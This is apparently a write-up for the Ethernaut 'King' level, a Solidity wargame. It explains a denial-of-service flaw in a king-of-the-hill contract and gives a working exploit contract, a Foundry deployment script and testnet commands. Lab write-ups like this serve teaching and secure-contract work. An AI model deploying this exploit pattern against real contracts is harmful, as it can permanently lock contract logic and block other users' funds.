Level 9 - King ⏺⏺⏺

The EthernautOpenZeppelin

Level Setup

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Level Contract

ethernaut/contracts/src/levels/King.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

Exploit

The old king is sent back msg.value before the new king is set. So if the old king is a contract that doesn't implement a receive or fallback function then the call will fail and a new king can't be set, breaking the game.

1. Create an exploit contract that doesn't contain a receive or fallback function.

Anvil

make anvil-exploit-level-9

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Holesky

make holesky-exploit-level-9

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Exploit Contract

https://github.com/EridianAlpha/ethernaut-foundry/blob/main/src/Level9.solgithub.com

src/Level9.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IKing {
    function prize() external view returns (uint256);
}

// ================================================================
// │                         LEVEL 9 - KING                       │
// ================================================================
contract ClaimKing {
    constructor(address _targetContractAddress) payable {
        IKing king = IKing(_targetContractAddress);
        uint256 attackValue = king.prize() + 1 wei;
        if (attackValue > address(this).balance) revert("Not enough funds");

        // Attack contract
        (bool success,) = _targetContractAddress.call{value: attackValue}("");
        if (!success) revert("Call failed");

        // Refund remaining balance
        (bool refundSuccess,) = address(msg.sender).call{value: address(this).balance}("");
        if (!refundSuccess) revert("Refund call failed");
    }
}

Exploit Deployment Script

https://github.com/EridianAlpha/ethernaut-foundry/blob/main/script/Level9.s.solgithub.com

script/Level9.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {ClaimKing} from "../src/Level9.sol";

// ================================================================
// │                         LEVEL 9 - KING                       │
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();

        vm.startBroadcast();
        new ClaimKing{value: 1 ether}(targetContractAddress);
        vm.stopBroadcast();
    }
}

1. Submit instance... 🥳

Completion Message

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Notes

• Executing everything in the constructor removes points of failure e.g. if the prize was calculated before sending, then the transaction was pending for a few blocks, it would no longer be the correct value. So it's better to calculate as much as possible on chain, even if it costs more gas that off-chain calculations, as it's more important that it actually goes through (and the check can be right at the start to minimize wasted gas if it does revert)

ethernaut-openzeppelin-hacks/level_9_King.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub